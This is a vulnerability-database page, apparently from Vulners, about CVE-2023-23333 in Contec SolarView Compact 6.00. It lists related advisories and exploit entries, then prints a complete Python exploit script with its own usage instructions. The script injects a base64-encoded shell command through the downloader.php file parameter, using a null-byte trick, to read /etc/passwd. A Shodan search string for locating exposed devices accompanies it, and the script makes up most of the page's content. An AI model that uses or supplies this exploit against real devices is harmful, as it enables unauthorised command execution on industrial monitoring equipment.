| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| SolarView Compact 6.00 Remote Command Execution Exploit | 6 Sep 202300:00 | – | zdt | |
| SolarView Compact 6.00 - Command Injection Exploit | 14 Mar 202400:00 | – | zdt | |
| Exploit for Command Injection in Contec Solarview_Compact_Firmware | 1 Aug 202316:24 | – | githubexploit | |
| Exploit for Command Injection in Contec Solarview_Compact_Firmware | 16 Jun 202314:33 | – | githubexploit | |
| CVE-2023-23333 | 7 Feb 202300:23 | – | circl | |
| Contec SolarView Compact 命令注入漏洞 | 6 Feb 202300:00 | – | cnnvd | |
| CVE-2023-23333 | 6 Feb 202300:00 | – | cve | |
| CVE-2023-23333 | 6 Feb 202300:00 | – | cvelist | |
| SolarView Compact 6.00 - Command Injection | 14 Mar 202400:00 | – | exploitdb | |
| Multiple vulnerabilities in CONTEC SolarView Compact | 27 May 202206:28 | – | jvn |
`#- Exploit Title: SolarView Compact 6.00 - Command Injection
#- Shodan Dork: http.html:"solarview compact"
#- Exploit Author: ByteHunter
#- Email: [email protected]
#- Version: 6.00
#- Tested on: 6.00
#- CVE : CVE-2023-23333
import argparse
import requests
def vuln_check(ip_address, port):
url = f"http://{ip_address}:{port}/downloader.php?file=;echo%20Y2F0IC9ldGMvcGFzc3dkCg%3D%3D|base64%20-d|bash%00.zip"
response = requests.get(url)
if response.status_code == 200:
output = response.text
if "root" in output:
print("Vulnerability detected: Command Injection possible.")
print(f"passwd file content:\n{response.text}")
else:
print("No vulnerability detected.")
else:
print("Error: Unable to fetch response.")
def main():
parser = argparse.ArgumentParser(description="SolarView Compact Command Injection ")
parser.add_argument("-i", "--ip", help="IP address of the target device", required=True)
parser.add_argument("-p", "--port", help="Port of the the target device (default: 80)", default=80, type=int)
args = parser.parse_args()
ip_address = args.ip
port = args.port
vuln_check(ip_address, port)
if __name__ == "__main__":
main()
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation